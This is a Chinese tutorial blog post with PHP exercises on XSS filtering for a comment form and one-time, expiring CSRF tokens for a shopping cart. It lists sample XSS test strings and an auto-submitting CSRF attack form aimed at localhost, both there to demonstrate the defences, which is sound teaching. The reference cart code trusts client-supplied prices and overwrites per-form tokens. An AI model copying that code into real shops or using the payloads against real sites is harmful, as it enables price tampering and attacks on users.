<?php
session_start();
$comments = [];
// 处理评论提交
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['comment'])) {
$comment = $_POST['comment'];
$author = $_POST['author'] ?? '匿名';
// 基础防护:转义所有HTML
$safeComment = htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');
$safeAuthor = htmlspecialchars($author, ENT_QUOTES, 'UTF-8');
// 高级防护:允许一些安全标签
$allowedTags = '<b><i><u><strong><em><code>';
  $filteredComment = strip_tags($comment, $allowedTags);
  // 进一步清理属性
  $filteredComment = preg_replace('/on\w+\s*=/i', 'data-removed=', $filteredComment);
  $comments[] = [
  'author' => $safeAuthor,
  'comment' => $filteredComment,
  'timestamp' => date('Y-m-d H:i:s')
  ];
  // 保存评论(实际项目中应该保存到数据库)
  $_SESSION['comments'] = $comments;
  }
  // 获取已保存的评论
  $comments = $_SESSION['comments'] ?? [];
  ?>
  <!DOCTYPE html>
    <html>
      <head>
        <title>评论系统</title>
          <style>
            .comment { border: 1px solid #ccc; margin: 10px 0; padding: 10px; }
            .danger { background: #ffcccc; }
            </style>
              </head>
                <body>
                  <h1>评论系统</h1>
                    <form method="POST">
                      <div>
                        <label>姓名:<input type="text" name="author"></label>
                          </div>
                            <div>
                              <label>评论:<textarea name="comment" rows="4"></textarea></label>
                                </div>
                                  <button type="submit">提交评论</button>
                                    </form>
                                      <h2>评论列表</h2>
                                        <?php if (empty($comments)): ?>
                                          <p>暂无评论</p>
                                            <?php else: ?>
                                              <?php foreach ($comments as $c): ?>
                                                <div class="comment">
                                                  <strong><?php echo $c['author']; ?></strong>
                                                    <small><?php echo $c['timestamp']; ?></small>
                                                      <p><?php echo $c['comment']; ?></p>
                                                        </div>
                                                          <?php endforeach; ?>
                                                            <?php endif; ?>
                                                              <h3>XSS测试</h3>
                                                                <div class="danger">
                                                                  <p>尝试提交以下内容测试XSS防护:</p>
                                                                    <ul>
                                                                      <li>&lt;script&gt;alert('XSS')&lt;/script&gt;</li>
                                                                        <li>&lt;img src="x" onerror="alert(1)"&gt;</li>
                                                                          <li>&lt;a href="javascript:alert(1)"&gt;点击我&lt;/a&gt;</li>
                                                                            </ul>
                                                                              <p>注意:安全防护后的效果</p>
                                                                                </div>
                                                                                  </body>
                                                                                    </html>

进阶练习题

练习3:实现CSRF防护的购物车系统

题目
设计一个简单的购物车系统,要求:

  1. 用户可以添加商品到购物车
  2. 用户可以查看购物车并结算
  3. 结算表单必须包含CSRF防护
  4. 实现一次性CSRF令牌,使用后失效
  5. 添加令牌过期时间验证(5分钟过期)
    难度等级:★★★☆☆(进阶)
    解题提示
  • 使用Session存储CSRF令牌
  • 每个表单使用唯一的令牌标识
  • 验证令牌后从Session中移除
  • 考虑令牌的过期时间
    参考答案
<?php
session_start();
class ShoppingCart {
private $csrfTokens = [];
public function __construct() {
if (!isset($_SESSION['cart'])) {
$_SESSION['cart'] = [];
}
if (!isset($_SESSION['csrf_tokens'])) {
$_SESSION['csrf_tokens'] = [];
}
$this->csrfTokens = &$_SESSION['csrf_tokens'];
}
// 生成CSRF令牌
public function generateCsrfToken($formId) {
$token = bin2hex(random_bytes(32));
$this->csrfTokens[$formId] = [
'token' => $token,
'hash' => hash('sha256', $token),
'created' => time(),
'expires' => time() + 300 // 5分钟过期
];
$this->cleanupExpiredTokens();
return $token;
}
// 验证CSRF令牌
public function validateCsrfToken($formId, $inputToken) {
if (!isset($this->csrfTokens[$formId]) || empty($inputToken)) {
return false;
}
$storedToken = $this->csrfTokens[$formId];
// 检查是否过期
if (time() > $storedToken['expires']) {
unset($this->csrfTokens[$formId]);
return false;
}
// 安全比较
$isValid = hash_equals($storedToken['hash'], hash('sha256', $inputToken));
// 使用后删除(一次性令牌)
if ($isValid) {
unset($this->csrfTokens[$formId]);
}
return $isValid;
}
// 清理过期令牌
private function cleanupExpiredTokens() {
foreach ($this->csrfTokens as $formId => $tokenData) {
if (time() > $tokenData['expires']) {
unset($this->csrfTokens[$formId]);
}
}
}
// 添加商品到购物车
public function addToCart($productId, $productName, $price, $quantity = 1) {
if (!isset($_SESSION['cart'][$productId])) {
$_SESSION['cart'][$productId] = [
'name' => $productName,
'price' => $price,
'quantity' => $quantity
];
} else {
$_SESSION['cart'][$productId]['quantity'] += $quantity;
}
}
// 获取购物车总价
public function getTotal() {
$total = 0;
foreach ($_SESSION['cart'] as $item) {
$total += $item['price'] * $item['quantity'];
}
return $total;
}
// 结算购物车
public function checkout() {
// 这里应该处理支付逻辑
$_SESSION['cart'] = []; // 清空购物车
return true;
}
}
// 使用示例
$cart = new ShoppingCart();
// 处理添加商品请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['add_to_cart'])) {
if (!$cart->validateCsrfToken('add_item', $_POST['csrf_token'] ?? '')) {
die('CSRF令牌验证失败!');
}
$cart->addToCart(
$_POST['product_id'],
$_POST['product_name'],
$_POST['price'],
$_POST['quantity'] ?? 1
);
}
// 处理结算请求
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['checkout'])) {
if (!$cart->validateCsrfToken('checkout', $_POST['csrf_token'] ?? '')) {
die('CSRF令牌验证失败!');
}
if ($cart->checkout()) {
$message = "结算成功!";
}
}
// 商品列表
$products = [
1 => ['name' => 'PHP编程书', 'price' => 69.99],
2 => ['name' => 'Web安全指南', 'price' => 89.99],
3 => ['name' => '数据库设计', 'price' => 79.99],
];
?>
<!DOCTYPE html>
  <html>
    <head>
      <title>购物车系统</title>
        <style>
          body { font-family: Arial; max-width: 800px; margin: 0 auto; padding: 20px; }
          .products, .cart { border: 1px solid #ccc; padding: 20px; margin: 20px 0; }
          .product { border-bottom: 1px solid #eee; padding: 10px 0; }
          .error { color: red; }
          .success { color: green; }
          </style>
            </head>
              <body>
                <h1>购物车系统</h1>
                  <?php if (isset($message)): ?>
                    <div class="success"><?php echo htmlspecialchars($message); ?></div>
                      <?php endif; ?>
                        <div class="products">
                          <h2>商品列表</h2>
                            <?php foreach ($products as $id => $product): ?>
                              <div class="product">
                                <h3><?php echo htmlspecialchars($product['name']); ?></h3>
                                  <p>价格: ¥<?php echo number_format($product['price'], 2); ?></p>
                                    <form method="POST">
                                      <input type="hidden" name="csrf_token"
                                      value="<?php echo $cart->generateCsrfToken('add_item'); ?>">
                                        <input type="hidden" name="product_id" value="<?php echo $id; ?>">
                                          <input type="hidden" name="product_name" value="<?php echo htmlspecialchars($product['name']); ?>">
                                            <input type="hidden" name="price" value="<?php echo $product['price']; ?>">
                                              <input type="number" name="quantity" value="1" min="1" style="width: 60px;">
                                                <button type="submit" name="add_to_cart">加入购物车</button>
                                                  </form>
                                                    </div>
                                                      <?php endforeach; ?>
                                                        </div>
                                                          <div class="cart">
                                                            <h2>购物车</h2>
                                                              <?php if (empty($_SESSION['cart'])): ?>
                                                                <p>购物车为空</p>
                                                                  <?php else: ?>
                                                                    <table border="1" cellpadding="10" cellspacing="0" style="width:100%">
                                                                      <tr>
                                                                        <th>商品名称</th>
                                                                          <th>单价</th>
                                                                            <th>数量</th>
                                                                              <th>小计</th>
                                                                                </tr>
                                                                                  <?php $total = 0; ?>
                                                                                    <?php foreach ($_SESSION['cart'] as $item): ?>
                                                                                      <tr>
                                                                                        <td><?php echo htmlspecialchars($item['name']); ?></td>
                                                                                          <td>¥<?php echo number_format($item['price'], 2); ?></td>
                                                                                            <td><?php echo $item['quantity']; ?></td>
                                                                                              <td>¥<?php echo number_format($item['price'] * $item['quantity'], 2); ?></td>
                                                                                                </tr>
                                                                                                  <?php $total += $item['price'] * $item['quantity']; ?>
                                                                                                    <?php endforeach; ?>
                                                                                                      <tr>
                                                                                                        <td colspan="3" align="right"><strong>总计:</strong></td>
                                                                                                          <td><strong>¥<?php echo number_format($total, 2); ?></strong></td>
                                                                                                            </tr>
                                                                                                              </table>
                                                                                                                <form method="POST" style="margin-top: 20px;">
                                                                                                                  <input type="hidden" name="csrf_token"
                                                                                                                  value="<?php echo $cart->generateCsrfToken('checkout'); ?>">
                                                                                                                    <button type="submit" name="checkout">结算购物车</button>
                                                                                                                      </form>
                                                                                                                        <?php endif; ?>
                                                                                                                          </div>
                                                                                                                            <div class="csrf-test">
                                                                                                                              <h3>CSRF攻击测试</h3>
                                                                                                                                <p>尝试在另一个页面提交以下表单:</p>
                                                                                                                                  <pre>
                                                                                                                                    &lt;form action="http:// localhost/cart.php" method="POST" id="attack"&gt;
                                                                                                                                    &lt;input type="hidden" name="product_id" value="1"&gt;
                                                                                                                                    &lt;input type="hidden" name="product_name" value="免费商品"&gt;
                                                                                                                                    &lt;input type="hidden" name="price" value="0"&gt;
                                                                                                                                    &lt;input type="hidden" name="quantity" value="100"&gt;
                                                                                                                                    &lt;input type="hidden" name="add_to_cart" value="1"&gt;
                                                                                                                                    &lt;/form&gt;
                                                                                                                                    &lt;script&gt;document.getElementById('attack').submit();&lt;/script&gt;
                                                                                                                                    </pre>
                                                                                                                                      <p>由于CSRF防护,这个攻击会失败</p>
                                                                                                                                        </div>
                                                                                                                                          </body>
                                                                                                                                            </html>
posted @ 2026-02-11 11:21  clnchanpin  阅读(16)  评论(0)    收藏  举报